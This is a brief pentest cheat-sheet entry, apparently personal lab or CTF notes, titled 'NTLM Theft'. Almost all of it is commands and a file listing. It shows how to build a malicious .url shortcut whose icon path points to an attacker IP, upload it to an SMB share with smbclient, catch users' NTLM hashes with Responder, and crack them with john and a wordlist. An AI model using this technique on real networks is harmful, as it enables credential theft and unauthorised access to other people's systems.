NTLM Theft

• After getting connected to smb shares using smbclient try to upload url files

┌──(irfanfris㉿cube)-[~]
└─$ cat @cube.url
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.8.5.69\%USERNAME%%. icon
IconIndex=1

• Next upload that url file to the share using put after connecting through smbclient

put @cube.url

• Turn on the listener to catch NTLM hashes of the users using reponder

sudo responder -A -I tun0

• after getting the hash carck it using john

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.asreproast